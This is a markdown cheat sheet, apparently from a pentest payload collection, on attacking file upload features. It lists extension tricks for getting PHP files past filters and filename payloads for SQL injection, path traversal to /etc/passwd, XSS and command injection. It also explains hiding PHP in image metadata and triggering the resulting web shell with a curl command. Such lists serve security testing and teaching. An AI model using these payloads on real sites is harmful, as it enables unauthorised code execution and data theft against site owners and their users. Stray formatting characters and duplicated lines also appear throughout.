### Upload tricks
|
||||
|
||||
- Use double extensions : `.jpg.php`
|
||||
- Use double extensions : `.jpg.php, .png.php5`
|
||||
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
|
||||
- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
|
||||
- Null byte (works well against `pathinfo()`)

### Filename vulnerabilities
|
||||
|
||||
Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.
|
||||
|
||||
- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
|
||||
- LFI Payloads: e.g. `image.png../../../../../../../etc/passwd`
|
||||
- LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd`
|
||||
- XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
|
||||
- File Traversal e.g. `../../../tmp/lol.png`
|
||||
- Command Injection e.g. `; sleep 10;`
|
||||
|
||||
Also you upload:
|
||||
- HTML/SVG files to trigger an XSS
|
||||
- EICAR file to check the presence of an antivirus
|
||||
|
||||
### Picture upload with LFI
|
||||
|
||||
Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.

|
||||
- Picture Metadata, hide the payload inside a comment tag in the metadata.
|
||||
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.

|
||||
- ASP server, take a look at the .config trick to execute code.

- PHP server, take a look at the [.htaccess](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess) trick to execute code.
|

- ASP server, take a look at the [web.config](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config) trick to execute code.
